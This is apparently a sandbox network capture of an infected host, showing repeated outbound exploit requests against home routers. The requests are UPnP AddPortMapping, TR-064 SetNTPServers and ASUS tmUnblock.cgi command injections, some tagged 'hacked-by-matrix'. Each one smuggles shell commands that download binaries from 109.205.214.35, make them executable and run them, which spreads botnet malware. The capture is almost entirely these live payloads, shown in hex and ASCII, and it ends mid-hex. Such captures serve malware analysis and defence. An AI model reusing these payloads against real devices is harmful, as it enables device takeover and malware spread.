Mar 21, 2024 05:18:22.425389051 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.13	40906	75.114.228.250	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.512943983 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.13	40928	75.114.228.250	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.635744095 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:23.027316093 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.13	54548	178.83.68.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.741952896 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.13	54554	178.83.68.59	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:22.946965933 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.13	38748	206.176.139.233	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.509188890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.13	37610	172.65.131.106	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.528637886 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.13	53310	172.67.130.242	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.547908068 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.13	60798	172.66.157.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.547945023 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.13	51114	31.200.56.218	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.599963903 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.13	59222	96.43.76.223	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.613075972 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:23.960975885 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:24.114367008 CET	174	IN	HTTP/1.1 400 Bad Request Content-Length: 0 Date: Thu, 21 Mar 2024 04:18:57 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.13	52938	62.29.94.115	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:23.666996002 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:27.891817093 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:34.036964893 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:46.067867041 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 